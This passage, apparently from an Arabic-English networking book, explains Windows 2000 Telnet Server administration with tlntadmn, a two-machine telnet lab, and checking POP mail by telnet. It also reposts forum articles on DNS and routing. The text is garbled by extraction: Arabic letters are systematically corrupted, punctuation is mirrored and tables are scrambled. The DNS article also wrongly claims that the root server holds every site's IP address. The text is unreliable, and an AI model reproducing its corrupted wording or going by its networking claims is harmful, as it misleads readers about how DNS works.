start Telnet Server, type net start tlntsvr or net start telnet at the command prompt, and then press Enter. To stop Telnet Server, type net stop tlntsvr or net stop telnet at the command prompt, and then .press Enter Telnet Server Admin ‫الداة‬ You can use the Telnet Server Admin utility to start, stop, or get information about Telnet Server. You can also use it to get a list of current users, terminate a user's session, or change Telnet Server ‫م الداة‬.‫يمكن إستخدا‬.registry settings ‫ لتشغيل أو إيقاف أو‬Telnet Server Admin ‫الحصول على معلومات عن الملقم ويمكن كذلك‬ ‫الحصول على عدد المستخدمين و التحكم في الجلسة‬ ‫الحالية من إنهاء التصال و تغير العدادات‬

98

‫لفتح الداة ‪ , Telnet Server Admin‬أضغط‬ ‫على ‪Telnet Administration Tool‬‬ ‫الموهجودة في ‪ Administrative Tools‬أو‬ ‫اضغط ‪ ,Start‬ثم ‪ ,Run‬اكتب ‪ ,tlntadmn‬ثم‬ ‫‪ .OK‬إذا كنت ل تستطيع فتح الداة ‪Telnet‬‬ ‫‪ , Server Admin‬تحتاج إلى تثبيت أدوات الدارة‬ ‫)‪.(Adminpak.msi‬‬ ‫يبين الجدول التالي تخيارات الداة ‪Telnet Server‬‬ ‫‪Administration‬‬ ‫الخيار السم‬

‫الوصف‬

‫‪0‬‬

‫‪Quit this‬‬ ‫‪application‬‬

‫‪1‬‬

‫‪ List the current‬يبين المستخدمين المتصلين‬ ‫بخدمة التلنت مع توضيح اسم‬ ‫‪users‬‬ ‫المستخد‪.‬م و الدومين و وعنوان‬ ‫الجهاز ووقت الدتخول‬

‫‪2‬‬

‫‪Terminate a‬‬ ‫‪user session‬‬

‫ينهي هجلسة الداة ‪Telnet‬‬ ‫‪Server Admin‬‬

‫ينهي هجلسة أحد المستخدمين‬ ‫الذي أنت تختاره‬ ‫‪99‬‬

‫‪3‬‬

‫‪ Display/change‬يزود قائمة بإعدادات السجل‬ ‫التي يمكن تغيرها‬ ‫‪registry‬‬ ‫‪settings‬‬

‫‪4‬‬

‫‪Start the‬‬ ‫‪service‬‬

‫يشغل تخدمة التلنت‬

‫‪5‬‬

‫‪Stop the‬‬ ‫‪service‬‬

‫يوقف تخدمة التلنت‬

‫إصطياد المشاكل‬ ‫يبين الجدول التالي بعض المشاكل التي يمكن أن‬ ‫تواهجهك عند إستخدا‪.‬م التلنت‬ ‫رسالة الخطاء‬

‫السبب‬

‫‪Invalid‬‬ ‫‪input‬‬

‫القيمة المكتوبة لم راهجع الخيارات وأعد‬ ‫كتابة تخيارك‬ ‫تكن مقبولة‬

‫‪Failed to‬‬ ‫‪open the‬‬

‫الحل‬

‫شغل تخدمة التلنت‬

‫تخدمة التلنت غير‬ ‫مشتغلة‬ ‫‪100‬‬

registry key ‫شغل الخدمة‬

‫تخدمة التلنت غير‬ ‫مشتغلة على الملقم‬

Failed to query the registry value

‫عميل التلنت‬ You can use Microsoft Telnet Client to connect to a remote computer running the Telnet service or other Telnet server software. Once you have made this connection, you can communicate with the Telnet server. The type of session you conduct depends on how the Telnet software is configured. Communication, games, system administration, and local logon simulations are some .typical uses of Telnet

101

The Telnet client uses the Telnet protocol, part of the TCP/IP suite of protocols, to connect to a remote computer over a network. The Telnet client software allows a computer to connect to a remote server. You can use the Telnet client provided with Windows 2000 to connect to a remote computer, log on to the remote computer, and interact with it as if you were sitting .in front of it Users of previous versions of Microsoft's Telnet client may notice a few changes in the version included with Windows 2000. The most obvious change is that Microsoft Telnet Client is now a command-line application rather than a Windows application. As a command-line application, 102

Microsoft Telnet Client will seem very familiar to users of UNIX-based .Telnet clients An important new feature found in Microsoft Telnet Client is NTLM authentication support. Using this feature, a computer using Microsoft Telnet Client can log on to a Windows 2000 computer running the Telnet service by using NTLM .authentication

‫إستعمال التلنت‬ ‫ ثم اكتب‬,Run ‫ ثم‬,Start ‫ انقر‬,Telnet ‫لتشغيل‬ .‫ في موهجه الوامر‬telnet ‫ وتستطيع كتابة‬.telnet ‫م التلنت يجب أن يكون البروتوكول‬.‫لتتمكن من أستخدا‬ ‫ مثبت على هجهازك ومضبوط تكوينه ويكون‬TCP/IP ‫لديك حساب مسجل على الجهاز الذي ستتصل به‬

103

To display help for Telnet, type help at the Microsoft Telnet command prompt. To connect to a site, type open where is the IP address or host name of the computer .running the Telnet service ‫تمرين ضبط وإتصال بخدمة التلنت‬ ‫في هذا التمرين يجب أن يكون لديك شبكة على القل‬ ‫هجهازين متصلين مع بعضهم البعض‬ ‫ و‬Hishem1 ‫ولنفترض أن الجهاز الول اسمه‬ Hishem2 ‫الثاني‬ Hishem2 ‫وسنفترض أن تخدمة التلنت مثبته على‬ ‫ إلى‬Hishem1 ‫م بالتصال من‬.‫ثم سنقو‬ Hishem2 Hishem1 ‫م الن بتثبيت الخدمة على هجهاز‬.‫سنقو‬ ‫ ك‬Hishem1 ‫سجل الدتخول إلى‬ Administrator

104

‫ ثم‬,Programs ‫ ثم‬, Start ‫من‬ .Services ‫ اضغط‬Administrative Tools Services ‫تظهر الداة‬ ‫من النافذه مرر ألى اسفل ثم ضغط مزدوج على‬ .Telnet The Telnet Properties ‫يظهر مربع حوار‬ ((Local Computer ‫ إلى‬Manual ‫ من‬Startup Type ‫غير‬ .Automatic . Start ‫اضغط‬,Service status ‫في القسم‬ Local) ‫ لغلق مربع الحوار‬OK ‫اضغط‬ Computer) Telnet properties . Services ‫أغلق وحدة التحكم‬

Hishem2 ‫ إلى‬Hishem1 ‫سنتصل من‬

.Run ‫ ثم‬, Start ‫من‬ 105

‫اكتب ‪ telnet‬ثم ‪.OK‬‬ ‫تظهر موهجه أوامر مايكروسوفت تلنت‬ ‫اكتب ‪ help‬أو ? لمشاهدة الوامر المتاحه‬ ‫تظهر هجميع الوامر المدعومة في تخدمة التلنت‬ ‫اكتب ‪open Hishem2‬‬ ‫ستشاهد شاشة الترحيب‬

‫ملحظة‬ ‫يمكن إستخدا‪.‬م حرف ‪ o‬بدل ‪open‬‬ ‫أي اوامر يمكنك تشغيلها من سطر الوامر في‬ ‫‪Hishem2‬‬ ‫اترك هذا التصال نشط ل توقفه سننتقل الن إلى هجهاز‬ ‫‪ Hishem2‬لمشاهدة هجلسة التلنت‬

‫‪106‬‬

‫من هجهاز ‪ Hishme2‬سنراقب تخدمة التلنت ثم نوقف‬ ‫ونقطع التصال من العميل ‪Hishem1‬‬

‫من ‪ , Start‬ثم ‪.Run‬‬ ‫اكتب ‪ tlntadmn‬ثم ‪.OK‬‬ ‫يظهر إطار اوامر الداة ‪Telnet Server Admin‬‬ ‫اكتب ‪ 1‬لمشاهدة هجميع التصالت الحالية كما في‬ ‫المثال نشاهد قد عرض اسم المستخد‪.‬م و اسم الدومين‬ ‫‪ NOR‬ورقم ‪ IP‬ونوع التصال ووقت الدتخول‬

‫اكتب ‪ 2‬لنهاء هجلسة مستخد‪.‬م‬ ‫‪107‬‬

‫تظهر رسالة تطلب منك تحديد هوية المستخد‪.‬م الذي‬ ‫تريد فصله‬ ‫اكتب ‪1‬هذا رقم المستخد‪.‬م في القائمة ول يوهجد معنا‬ ‫في المثال غير و احد لذالك تكتب ‪1‬‬ ‫تظهر لئحة بالوامر المتاحة‬ ‫إرهجع إلى هجهاز ‪ Hishem1‬سترا أن التصال قد‬ ‫إنفصل مثل المثال‬

‫اضغط أي مفتا ح للمتابعة‬

‫كيف نستفيد من تخدمة التلنت في هجلب البريد‬ ‫إذ تعذر عليك سحب البريد بالبرامج المخصصة لسبب‬ ‫ما يمكن أن تستخد‪.‬م التلنت لسحب البريد وحذف‬ ‫الرسائل التي قد تكون سبب المشكلة و الطريقة كما‬ ‫يلي‬ ‫تكون على إتصال مع الشبكة‬ ‫‪108‬‬

‫من ‪ Start‬ثم ‪ Run‬ثم تكتب ‪Telnet‬‬ ‫‪ pop.mail.yahoo.com 110‬طبعا إذا كان‬ ‫حسابك مع الياهو أو اكتب الحساب الخاص بك مع‬ ‫ملحظة وهجود فراغ بين الكلمة الولى و الجملة الثانية‬ ‫و الرقم‬ ‫ستظهر لك نافذة مثل الدوس اكتب ‪ user‬ثم اكتب‬ ‫بعدها اسم المستخد‪.‬م في بريدك مع ملحظة أن الذي‬ ‫ستكتبه ل تشاهده على النافذة ل تهتم مثل ‪user‬‬ ‫‪ xxxx‬ثم إنتر‬ ‫بعد ذلك اكتب ‪ pass‬ثم اكتب الرقم السري مثل‬ ‫‪ pass xxxx‬ثم إنتر‬ ‫إذا كان إدتخالك صحيح ستشاهد كلمة ‪ Ok‬بعد ما‬ ‫تضغط إنتر‬

‫سيتم إدتخالك إلى الحساب‬ ‫لمشاهدة هجميع الرسائل وأحجامها اكتب ‪ List‬ثم إنتر‬ ‫ستشاهد ترتيب الرسائل تحت بعض وأما‪.‬م كل رقم رقم‬ ‫ثاني يدل على حجم الرسالة‬ ‫‪109‬‬

‫لحذف رسالة من القائمة اكتب ‪ dele‬ثم رقم الرسالة‬ ‫الهدف‬ ‫تنفع هذه الطريقة مع بريد ‪pop‬‬ ‫طريقة سحب البريد عن طريق التلنت من الدكتور‬ ‫الفنتوخ‬ ‫بعض الوامر المستخدمة مع التلنت‬ ‫وصل عميل التلنت مع هجهاز بعيد‬ ‫بناء الجملة‬ ‫‪[open [\\RemoteServer] [Port‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪Port‬‬ ‫‪110‬‬

‫تحديد المنفذ الذي تريد استخدامه‪ .‬إن لم تحدد منفذ ًا‬ ‫ما‪ ،‬سيتم افتراض المنفذ الفتراضي‪.‬‬ ‫ملحظات‬ ‫يمكنك اتختصار هذا المر إلى ‪.o‬‬ ‫أمثلة‬ ‫للتصال بملقم بعيد ‪ Redmond‬من تخلل رقم المنفذ‬ ‫‪ ،44‬اكتب‪:‬‬ ‫‪o redmond 44‬‬

‫لقطع تصال عميل ‪ Telnet‬من كمبيوتر بعيد‬ ‫بناء الجملة‬ ‫‪[close [\\RemoteServer‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬

‫‪111‬‬

‫ملحظات‬ ‫يمكنك اتختصار هذا المر إلى ‪.c‬‬ ‫أمثلة‬ ‫لقطع التصال من ملقم بعيد ‪ ،Redmond‬اكتب‪:‬‬ ‫‪c redmond 44‬‬

‫لرسال أوامر عميل ‪Telnet‬‬ ‫بناء الجملة‬ ‫]‪send [\\RemoteServer] [ao] [ayt‬‬ ‫‪[?] [[esc] [ip] [synch‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪ao‬‬ ‫إحباط أمر التخراج‪.‬‬ ‫‪112‬‬

‫‪ayt‬‬ ‫إرسال أمر "‪."?Are you there‬‬ ‫‪esc‬‬ ‫إرسال حرف الهروب الحالي‪.‬‬ ‫‪ip‬‬ ‫مقاطعة أمر العملية‪.‬‬ ‫‪synch‬‬ ‫أداء عملية تزامن ‪.Telnet‬‬

‫لعرض العدادات الحالية لعميل ‪Telnet‬‬ ‫بناء الجملة‬ ‫‪display‬‬ ‫المعلمات‬ ‫بل‬ ‫ملحظات‬ ‫‪113‬‬

‫يسرد المر ‪ display‬معلمات التشغيل الحالية لعميل‬ ‫‪ .Telnet‬إذا كنت في هجلسة عمل ‪) Telnet‬بعبارة‬ ‫ل بملقم ‪ ،(Telnet‬يمكنك‬ ‫أتخرى‪ ،‬إذا كنت متص ً‬ ‫الخروج من هجلسة عمل ‪ Telnet‬لتعديل المعلمات‬ ‫بضغط ‪ .[+CTRL‬للعودة إلى هجلسة عمل ‪،Telnet‬‬ ‫اضغط ‪.ENTER‬‬

‫إدارة ملقم التلنت المحلي بالـ ‪tlntadmn‬‬ ‫لدارة كمبيوتر يشغل ملقم ‪Telnet‬‬ ‫بناء الجملة‬ ‫]‪tlntadmn [\\RemoteServer] [start‬‬ ‫‪[[stop] [pause] [continue‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪start‬‬

‫‪114‬‬

‫بدء تشغيل ملقم ‪.Telnet‬‬ ‫‪stop‬‬ ‫إيقاف تشغيل ملقم ‪.Telnet‬‬ ‫‪pause‬‬ ‫مقاطعة ملقم ‪.Telnet‬‬ ‫‪continue‬‬ ‫استئناف ملقم ‪.Telnet‬‬ ‫ملحظات‬ ‫يمكنك إدارة كمبيوتر عن بعد يشغل ملقم ‪Telnet‬‬ ‫ل من هجهازي‬ ‫باستخدا‪.‬م الوامر ‪ tlntadmn‬إذا كان ك ً‬ ‫الكمبيوتر يشغلن نفس نظا‪.‬م التشغيل فإذا المطلوب‬ ‫ويندوز ‪ 2000‬استخدمه بي ويندوز ‪ .2000‬ل يمكنك‬ ‫استخدا‪.‬م الوامر ‪ tlntadmn‬لدارة كمبيوتر عن بعد‬ ‫يشغل ‪ Windows 2000‬وملقم ‪ Telnet‬من‬ ‫ل‪.‬‬ ‫كمبيوتر يشغل ‪ Windows XP‬مث ً‬ ‫لتعيين الحد القصى لعدد التصالت على كمبيوتر‬ ‫يشغل ملقم ‪Telnet‬‬

‫‪115‬‬

‫بناء الجملة‬ ‫‪tlntadmn [\\RemoteServer] config‬‬ ‫‪[[maxconn=PositiveInteger‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪maxconn=PositiveInteger‬‬ ‫تعيين العدد العظمي للتصالت‪ .‬يجب عليك تحديد هذا‬ ‫العدد بواسطة عدد صحيح موهجب أصغر من ‪10‬‬ ‫مليين‪.‬‬

‫لتعيين العدد العظمي لمحاولت تسجيل الدتخول‬ ‫الفاشلة على كمبيوتر يشغل ملقم ‪Telnet‬‬ ‫بناء الجملة‬ ‫‪tlntadmn [\\RemoteServer] config‬‬ ‫‪[[maxfail=PositiveInteger‬‬ ‫‪116‬‬

‫المعلمات‬ ‫\\ ‪RemoteServer‬‬ ‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪maxfail=PositiveInteger‬‬ ‫تعيين الحد القصى لمحاولت تسجيل الدتخول الفاشلة‬ ‫المسمو ح بها للمستخد‪.‬م‪ .‬يجب عليك تحديد هذا العدد‬ ‫بواسطة عدد صحيح موهجب أصغر من ‪.100‬‬

‫لتعيين المهلة من أهجل تخمول هجلسات العمل على‬ ‫كمبيوتر يشغل ملقم ‪Telnet‬‬ ‫بناء الجملة‬ ‫‪tlntadmn [\\RemoteServer] config‬‬ ‫‪[[timeout=hh:mm:ss‬‬ ‫المعلمات‬ ‫\\ ‪RemoteServer‬‬

‫‪117‬‬

‫تحديد اسم الملقم الذي تريد إدارته‪ .‬إن لم تحدد ملقم ًا‬ ‫ما‪ ،‬سيتم افتراض الملقم المحلي‪.‬‬ ‫‪timeout=hh:mm:ss‬‬ ‫تعيين فترة المهلة بالساعات‪ ،‬والدقائق‪ ،‬والثواني‪.‬‬ ‫دائم ًا يستخد‪.‬م الـ ?‪ /‬لعرض التعليمات في موهجه‬ ‫الوامر‪..‬‬ ‫انتهى‪،،،‬‬

‫" معلومات عن الـ ‪" DNS‬‬ ‫‪118‬‬

‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪< Dark Devil :‬‬ ‫قبل ان نبدأ دعونا نعقد اتفاق معا ‪:‬‬ ‫فلننسا كلمه هكر و لنبدأ فى تعلم الشياء التى توصلنا‬ ‫لكلمه هكر بمعنى الكلمه و طبعا الهكر ليس معنا‬ ‫تروهجن هورسس او سب سفن ‪.....‬الخ‬ ‫الهكر الحقيقى هو تعلم نظم التشغيل مثل اللينكس و‬ ‫اليونكس و تعلم لغات تصميم المواقع بجانب بعض‬ ‫لغات البرمجه التى يكون اهمها فى مجالنا هى لغه‬ ‫السى ‪C‬‬ ‫و الن دعونا من كل هذه الخلبيط و لنبدأ التكلم فى‬ ‫المفيد‪:‬‬ ‫نحن فى بعض الحيان نسمع عن اشياء كثيره و لكن‬ ‫ل نعرف ما هى و ل نحاول ان نكتشف و نعرف ما هى‬ ‫و فى هذا الملف سوف نتكلم عن شئ نسمع عنه كثيرا‬ ‫و لكن معظمنا ل يعرف‬ ‫ما هو ‪:‬‬ ‫و هذا الشئ هو ال ‪:DNS‬‬ ‫و سوف نبدأ بالتحدث عن هذا السم الذى يسمعه‬ ‫الكثيرين و لكن ل يعرفون ما هو ‪:‬‬ ‫و لنبدأ بالسؤال نفسه‬ ‫‪119‬‬

‫=============================‬ ‫=====================‬ ‫=========================‬ ‫ما هو ال ‪?DNS‬‬ ‫==============‬ ‫اول ‪ DNS :‬هو اتختصار لكلمه ‪Domain Name‬‬ ‫‪ . System‬و يتصل سرفر ال ‪ DNS‬عادتا على‬ ‫بورت ‪ 53‬مما يعنى انك اذا اردت التصال الى احد‬ ‫المواقع و استعملت ال ‪ DNS‬حقه فسوف تتصل‬ ‫به عن طريق البورت ‪ 53‬و سوف يترهجم او يحول ال‬ ‫‪ translates alphabetical hostnames‬و‬ ‫يعنى اسم الموقع مثل ‪:‬‬ ‫‪ /http://www.burn.com‬الى ‪IP‬‬ ‫‪ ADRESSES‬مثل ‪ 127.0.0.1‬و العكس صحيح‬ ‫و عندما تتم العمليه‬ ‫تتصل بالموقع مباشره‬ ‫و عمليه التحويل هذه تسمى ‪address‬‬ ‫‪ resolution‬اى تحويل او تحليل عنوان الموقع الى‬ ‫‪ IP‬او العكس لنستطيع التصال به‬ ‫و قبل ظهور ال ‪ DNS‬كان اسم اتخر لعمليه ال‬ ‫‪. address resolution‬و لكن قد ظهر ال‬ ‫‪120‬‬

‫‪ DNS‬لجعل توزيع الهوستس اسهل بكثير من‬ ‫الماضى حيث انه من‬ ‫السهل ان تتذكر اسم موقع معين تريده افضل من ان‬ ‫تتذكر اربعه تخانات من الرقا‪.‬م )‪. (IP‬‬ ‫و كان السم المستعمل ل ال ‪address‬‬ ‫‪ resolution‬قبل ال ‪ DNS‬كان يتكون من ملف‬ ‫اسمه ال ‪ HOST FILE‬و كان عباره عن اسماء‬ ‫الهوستس اى المواقع‬ ‫و عنواوين ال ‪ IP‬الخاصه بهم و كان هذا الملف‬ ‫تتولى رعايته ‪Stanford Research‬‬ ‫‪Institute's Network Information‬‬ ‫‪ .(Center (SRI-NIC‬و كان على هذا الراعى ان‬ ‫يجدد )‪ (UPDATE‬الجدول هذا حوالى كل اسبوع و‬ ‫يمده بالعنواوين الجديده و الرقا‪.‬م التى ظهرت و على‬ ‫السيستم ادمين ان يجدد هو التخر ملفه او‬ ‫عن طريق اتصال ال ‪ FTP‬بينه و بين الراعى اى‬ ‫‪.SRI-NIC‬‬ ‫و طبعا مع تطور النترنت الرهيب و السريع بدأ هذا‬ ‫النظا‪.‬م فى الفشل و بدأو يبحثون عن النظا‪.‬م المثل الذى‬ ‫يستطيع التحكم فى الهوست و الى بى‬ ‫معا فى وقت واحد و بسرعه و بترتب و دقه و طبعا‬ ‫ظهر ال ‪ DNS‬ليفعل ذلك‪.‬‬ ‫‪121‬‬

‫و ال ‪ DNS‬ليس له مركز اى ‪ decentralized‬اى‬ ‫انه ليس هناك ماكينه او سيستم معين يتحكم فى كل ال‬ ‫‪ DNS‬بل بالعكس فال ‪ DNS‬عباره عن داتا بيز‬ ‫موزعه بشكل منظم و توهجد على كذا سرفر مختلف و‬ ‫كل سرفر عليه ‪ DNS‬يعرف اين يبحث عندما يريد ان‬ ‫يحصل على معلومه معينه او هوست معين‪.‬‬ ‫هذا بالنسبه لمعلومات عامه عن ال ‪ DNS‬و كيف كان‬ ‫النظا‪.‬م قبل اكتشافه و هى ايضا نظره عامه عن حركه‬ ‫النترنت القديمه ‪.‬‬ ‫‪:THE DNS SERVER‬‬ ‫================‬ ‫ال ‪ DNS SERVER‬هو عباره عن كمبيوتر و‬ ‫يعمل عادتا على نظا‪.‬م ‪ UNIX‬او النظم الشبيهه‬ ‫باليونكس و يستخد‪.‬م برنامج اليونكس ‪ BIND‬اى )‬ ‫‪ .(Berkeley Internet Name Domain‬و‬ ‫يوهجد ايضا برامج مثل هذه للويندوز و الماكنتوش‬ ‫ايضا‬ ‫اذا اراد احد استعمالهم ك ‪ DNS SERVER‬و لكن‬ ‫الكل يفضل ال ‪. UNIX‬‬ ‫و يتكون برنامج ال ‪ DNS‬من هجزئين ‪:‬‬ ‫‪the name server itself (the daemon‬‬ ‫‪122‬‬

‫‪ (program that listens to port 53‬و‬ ‫التخر يسمى ‪RESOLVER‬‬ ‫و ال ‪ NAME SERVER‬هذا يستجيب الى‬ ‫متصفحك عندما تطلب معلومه معينه فمثل عندما تفتح‬ ‫النترنت اكسبلورر و تكتب او تطلب منه موقه معين‬ ‫مثل‬ ‫‪ /http://www.burn.com‬فسيسئل المتصفح‬ ‫اقرب ‪ DNS‬موهجود له )و هذا يعتمد على اتصالك‬ ‫بالشبكه و رقم الى بى الخاص بك( عن عنوان ال ‪IP‬‬ ‫ل ‪/http://www.burn.com‬‬ ‫لن المتصفح يحتاج هذا ال ‪ IP‬ليجد السرفر الذى لديه‬ ‫هذا الهوست اى هذا الموقع و يطلب محتويات الموقع‬ ‫من السرفر ليعرضها لك فى متصفحك‪.‬‬ ‫و قبل هذا سيسئل ال ‪ daemon program‬فى‬ ‫هجداوله اى فى ذاكره متصفحك عن الموقع الذى تطلبه‬ ‫فأذا لم يجده ينتقل الى ما سبق شرحه و هكذا تتم‬ ‫العمليه‪.‬‬ ‫‪:THE TREE INFORMATION‬‬ ‫======================‬ ‫و الن اصدقائى بعد ان اتقفنا على انك عندما تطلب‬ ‫رقم ‪ IP‬معين من المتصفح حقك و ل يجده فى ال‬ ‫‪123‬‬

‫‪ DNS‬المحلى اى الخاص بك سوف يسأل ال ‪DNS‬‬ ‫‪ SERVER‬العلى منه فى المستوى عنه ليجده و‬ ‫اذا لم يجده فى مستوى اعلى فينتقل للبحث فى مستوى‬ ‫اعلى و اعلى و هكذا يسير البحث من القل الى العلى‬ ‫فى مستويات ال ‪.DNS SERVERS‬‬ ‫و طبعا نتيجه من هذا التصال فنستنتج وهجود شجره‬ ‫اتصال و معلومات و لكن كيف تعمل بالضبط‬ ‫دعونا نأتخذ مثال ‪:‬‬ ‫لو فرضنا ان ال ‪ ISP‬الخاص بك كان مثل‬ ‫‪ isp.co.uk‬و هذا يعتمد على اتصالك بالنترنت اى‬ ‫حسب الشركه و السرفر الذى تشبك عليه فمن الطبيعى‬ ‫طبعا ان يكون ال ‪ISP's DNS server's‬‬ ‫‪ hostname‬مثل هذا ‪ dns.isp.co.uk‬و الن‬ ‫فالنفرض انك سألت هذا ال ‪ DNS‬ليبحث لك عن ‪IP‬‬ ‫الخاص ب ‪ /http://www.burn.com‬مثل‬ ‫فسيقو‪.‬م هذا ال ‪ dns.isp.co.uk‬بالبحث فى هجداوله‬ ‫المحليه المخذنه فى الذاكره عنده فيجدها و اذا لم‬ ‫يجدها فسينتقل كما قلنا الى مستوى اعلى من ال‬ ‫‪ DNS SERVER‬ليبحث فيه و اذا لم يجده ايضا‬ ‫فى المستوى العلى فعليه ان يقو‪.‬م بتغيير مكان البحث‬ ‫كليا فمثل من ‪ dns.isp.co.uk‬الى ‪some-‬‬ ‫‪ organization.org.uk‬او‬ ‫‪124‬‬

‫‪school.edu.uk, university.ac.uk,‬‬ ‫‪ england.gov.uk, airforce.mil.uk‬و الخ‬ ‫و هناك امثله كثيرا طبعا و كل شئ ينتهى ب ‪ UK‬و‬ ‫اذا لم يجده ايضا فى كل الماكن المتا ح له البحث فيها‬ ‫فسيرهجع المتصفح الى اكبر ‪ DNS‬موهجود على‬ ‫الشبكه و اسمه ال ‪ ROOT‬فهو يحتوى على كل‬ ‫عناوين ال ‪ IP‬على كل للمواقع الموهجوده على اى‬ ‫‪.DOMAIN NAME‬‬ ‫‪When and why does DNS "hang" or‬‬ ‫‪?fail‬‬ ‫=============================‬ ‫=========‬ ‫و يمكن ايضا لل ‪ DNS‬ان يكون بطئ او سريع ‪.‬اذا‬ ‫كان ال ‪ ISP‬الخاص بك يحنوى على ال ‪ IP‬الذى‬ ‫طلبته فسوف يحتاج فقط الى اهجزاء من الثانيه ليأتى‬ ‫به لك و يعرضه فى متصفحك‪ .‬اما اذا انتقل المتصفح‬ ‫للبحث فى مستوى اعلى من ال ‪ DNS‬فسوف يحتاج‬ ‫الى قليل من الوقت يمتد حتى ‪ 15‬ثانيه ‪ .‬و فى حاله‬ ‫انه ل يجده سوف تأتيك رساله من متصفحك تقول‬ ‫‪ address could not be found‬و هذا يحدث‬ ‫نتيجه اعطاء المتصفح ‪ HOST‬او ‪ IP‬تخطأ ليبحث‬ ‫‪125‬‬

‫عنه و بالتالى طبعا فهو ليس موهجود من الساس‬ ‫ليعرضه او نتيجه طول البحث فيقو‪.‬م متصفحك بقدان‬ ‫التصال مع ال ‪ DNS‬اى عمليه ‪. TIMED OUT‬‬ ‫و فى هذه الحاله نضغط فى المتصفح على‬ ‫‪ REFRESH‬او ‪ RELOAD‬طبعا حسب متصفحك‬ ‫‪.‬‬

‫ارهجو ان اكون قد افدتكم هجميعا بهذه المعلومات التى‬ ‫هى بعيده عن الهكر و لكنها اساس فى تعلم الهكر يا‬ ‫اصدقائى و كما قلت لكم الهكر ليس التروهجان و‬ ‫الباتشات الهكر هو تعلم اساليب البرمجه و كيفيه‬ ‫تصميم المواقع و معرفه كل شئ هجديد فى عالم‬ ‫النترنت و ارهجو من المحترفين الدتخول و قرائه‬ ‫الموضوع و تصحيح التخطاء التى به حتى يكون‬ ‫موضوع كامل و متكامل تخالى من التخطاء و نتظر‬ ‫ردودكم و تفاعلكم مع المعلومات و اى سؤال انا‬ ‫موهجود على قد مقدرتى‬ ‫و انتظرو موضوعى القاد‪.‬م و هو معلومات عن ال‬ ‫‪ SSL‬و سنعرف ما هو بالتفصيل‬ ‫و السل‪.‬م عليكم و رحمه ال و بركاته‪.‬‬ ‫‪126‬‬

‫انتهى‪،،،‬‬

‫‪127‬‬

‫" معلومات عن ‪Routing in the Internet‬‬ ‫"‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪< Dark Devil :‬‬ ‫السل‪.‬م عليكم و رحمه ال و بركاته‪:‬‬ ‫سوف نتكلم يا اصدقائى عن شئ مهم فى علم الشبكات‬ ‫و الكثير منكم على غير علم به و هذا الشئ هو ال‬ ‫‪.Routing‬‬ ‫و الن دعونا نبدأ و اتمنى ان يعجبكم الموضوع و‬ ‫تستفيدون منه‪:‬‬ ‫‪:Routing in the Internet‬‬ ‫=========================‬ ‫‪!?what is routing‬‬ ‫‪128‬‬

‫الروتنج هو عباره عن تكنيك او ميكانز‪.‬م الذى عن‬ ‫طريقه تنتقل المعلومات من كمبيوتر الى اتخر او من‬ ‫هوست الى اتخر‪.‬‬ ‫و فى سياق النترنت يوهجد ثلث مظاهر من الروتنج‬ ‫وهم‪:‬‬ ‫‪Physical Address Determination-1‬‬ ‫‪Selection of inter-network-2‬‬ ‫‪gateways‬‬ ‫‪Symbolic and Numeric Addresses-3‬‬

‫و يعتبر الول فى هذه الشياء هو المهم عندما تنتقل‬ ‫داتا ال ‪ ip‬من الكمبيوتر‪.‬فمن الدرورى ان نغلف هذه‬ ‫الداتا الخاصه بال ‪ ip‬بأى أطار من اى صيغه تكون‬ ‫متصله بالنت ورك المحليه للجهاز او بالنت ورك‬ ‫المتصل بها الجهاز فى حالته الموهجود عليها عند‬ ‫انتقال هذه الداتا‪.‬و يتطلب هذا الغلف التضمين من ال‬ ‫عنوان النت ورك المحليه او العنوان الفيزيائى لهذا‬ ‫للشبكه مع الطار الذى يحيط بالبيانات اى )‬ ‫‪inclusion of a local network address‬‬ ‫‪129‬‬

‫‪or physical address within the‬‬ ‫‪.(frame‬‬ ‫و الشئ الثانى من المذكور اعله مهم ايضا و درورى‬ ‫لن النترنت تتكون من عدد من النت وركس المحليه‬ ‫اى ‪ local networks‬مربوطه بواحد او كثير من‬ ‫المداتخل اى ال ‪.gateways‬و هذه المداتخل عموما‬ ‫تسمى بالروترس اى ال ‪, routers‬احيانا يكون لها‬ ‫اتصالت فيزيائيه او بورتات مع الكثير من النت‬ ‫وركس ‪.‬و تحديد المدتخل الملئم و البورت لتفصيل داتا‬ ‫ال ‪ ip‬هذا ما نسميه روتنج اى ‪ routing‬و تتضمن‬ ‫ايضا داتخل تبادل المعلومات بطرق معينه‪.‬‬ ‫و الثالث من المذكور هو الذى يتضمن انتقال العنوان‬ ‫اى ال ‪ address translation‬من الشكل الكتابى‬ ‫الذى نعرفه و نستطيع التعرف عليه بسهوله و‬ ‫المقصود مثل عنوان المتصفح اى‬ ‫‪ /http://www.burn.com‬الى ‪ ip‬اى الى اشياء‬ ‫رقميه معقده صعبه و تؤدى هذه المهمه عن طريق ال‬ ‫‪) DNS‬ارهجو مراهجعه موضوعى الول عن ال ‪DNS‬‬ ‫للستفاده اكثر (‪.‬‬ ‫‪130‬‬

